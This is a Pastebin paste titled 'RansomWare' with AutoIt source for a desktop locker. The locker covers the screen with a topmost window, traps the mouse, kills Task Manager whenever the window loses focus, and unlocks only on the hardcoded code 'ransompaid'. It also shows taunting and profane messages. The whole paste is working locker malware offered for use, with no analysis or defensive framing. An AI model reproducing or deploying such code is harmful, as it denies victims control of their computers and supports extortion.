Advertisement
Sh3lLDu5T

RansomWare

Mar 15th, 2015
483
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 3.32 KB | None | 0 0
  1. #NoTrayIcon
  2. #include <WindowsConstants.au3>
  3. #include <EditConstants.au3>
  4. #include <ScrollBarConstants.au3>
  5. #include <GUIConstantsEx.au3>
  6. #include <StaticConstants.au3>
  7. #include <GUIConstantsEx.au3>
  8. #include <ProgressConstants.au3>
  9. #include <GuiEdit.au3>
  10. #include <Misc.au3>
  11. $code = 'ransompaid'
  12.  
  13. $plate = StringReplace($code, "*", @CRLF)
  14. $password = $plate
  15. $locked = GUICreate("Desktop Locker", @DesktopWidth, @DesktopHeight, 0, 0, $WS_POPUP, $WS_EX_TOPMOST)
  16. GUISetBkColor(0x000000, $locked)
  17.  
  18. $progress1 = GUICtrlCreateProgress((@DesktopWidth - 400) / 2, @DesktopHeight / 2 + 20, 400, 10)
  19. GUICtrlSetBkColor(-1, $GUI_BKCOLOR_TRANSPARENT)
  20. GUICtrlCreatePic("lock.jpg", 430, 130, 164, 144)
  21. GUICtrlSetBkColor(-1, $GUI_BKCOLOR_TRANSPARENT)
  22. $wrongpw = GUICtrlCreateEdit("", 10, 14, 300, @DesktopHeight - 14, BitOR($ES_AUTOVSCROLL, $ES_READONLY), 0)
  23. $inputpw = GUICtrlCreateInput("", @DesktopWidth / 2 - 100, @DesktopHeight / 2 - 10, 200, 20, BitOR($ES_CENTER, $ES_PASSWORD), 0)
  24.  
  25. GUICtrlCreateLabel("Desktop Locker", @DesktopWidth / 2 - 125, @DesktopHeight / 2 - 95, 260, 50, $ES_CENTER, 0)
  26. GUICtrlSetFont(-1, 30, 800, 0, "MS Sans Serif")
  27. GUICtrlSetColor(-1, 0xFFFFFF)
  28. GUICtrlSetBkColor(-1, 0x000000)
  29.  
  30. GUICtrlCreateLabel("Input Code to Unlock", @DesktopWidth / 2 - 185, @DesktopHeight / 2 - 50, 400, 20, $ES_CENTER, 0)
  31. GUICtrlSetFont(-1, 12, 800, 0, "MS Sans Serif")
  32. GUICtrlSetColor(-1, 0xFFFFFF)
  33. GUICtrlSetBkColor(-1, 0x000000)
  34.  
  35. GUICtrlSetFont($wrongpw, 12, 800, 0, "MS Sans Serif")
  36. GUICtrlSetColor($wrongpw, 0xFFFFFF)
  37. GUICtrlSetBkColor($wrongpw, 0x000000)
  38. GUICtrlSetFont($inputpw, 12, 800, 0, "MS Sans Serif")
  39. GUICtrlSetColor($inputpw, 0xFFFFFF)
  40. GUICtrlSetBkColor($inputpw, 0x000000)
  41.  
  42. WinSetState("[CLASS:Shell_TrayWnd]", "", @SW_SHOW)
  43. GUISetState(@SW_SHOW, $locked)
  44. _MouseTrap(@DesktopWidth, @DesktopHeight)
  45.  
  46. While 1
  47.     If _IsPressed("0D") Then
  48.         If GUICtrlRead($inputpw) == '' Then
  49.             ToolTip("Forgot your password. Please enter the correct", 509, 375, "", 1, 3)
  50.             ToolTip("")
  51.         ElseIf GUICtrlRead($inputpw) == $password Then
  52.             For $i = 0 To 100 Step 10
  53.                 GUICtrlSetData($progress1, $i)
  54.                 Sleep(50)
  55.             Next
  56.             GUISetState(@SW_HIDE, $locked)
  57.             WinSetState("[CLASS:Shell_TrayWnd]", "", @SW_SHOW)
  58.             _MouseTrap()
  59.             ExitLoop
  60.         Else
  61.             GUICtrlSetData($wrongpw, _RandomMsg() & @CRLF & GUICtrlRead($wrongpw))
  62.             ToolTip("The password is incorrect, Try again.", 509, 375, "", 3, 3)
  63.             Sleep(2000)
  64.             ToolTip("")
  65.             GUICtrlSetData($inputpw, "")
  66.         EndIf
  67.     EndIf
  68.     If Not WinActivate("Desktop Locker") Then
  69.         If ProcessExists('taskmgr.exe') Then ProcessClose('taskmgr.exe')
  70.         WinActivate("Desktop Locker")
  71.         _MouseTrap(@DesktopWidth, @DesktopHeight)
  72.         GUICtrlCreateLabel("MESS WITH THE BEST DIE LIKE THE REST!", Random(@DesktopWidth - 540), Random(@DesktopHeight - 30), 540, 30)
  73.         GUICtrlSetFont(-1, 20, 800, 0, "MS Sans Serif")
  74.         GUICtrlSetColor(-1, 0xFF0000)
  75.         GUICtrlSetBkColor(-1, 0x000000)
  76.     EndIf
  77. WEnd
  78.  
  79. Func _RandomMsg()
  80.     Local $RandomMsg[9]
  81.     $RandomMsg[0] = "Wrong Password!"
  82.     $RandomMsg[1] = "Step away from the computer!"
  83.     $RandomMsg[2] = "You are not my owner!!"
  84.     $RandomMsg[3] = "Give up!!"
  85.     $RandomMsg[5] = "Don't Touch Me Mothefucker!!"
  86.     $RandomMsg[6] = "Try AGain!"
  87.     $RandomMsg[7] = "Stop Pushing my buttons!"
  88.     $RandomMsg[8] = "Ctrl + Alt + DipShit"
  89.     Return $RandomMsg[Random(10)]
  90. EndFunc   ;==>_RandomMsg
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement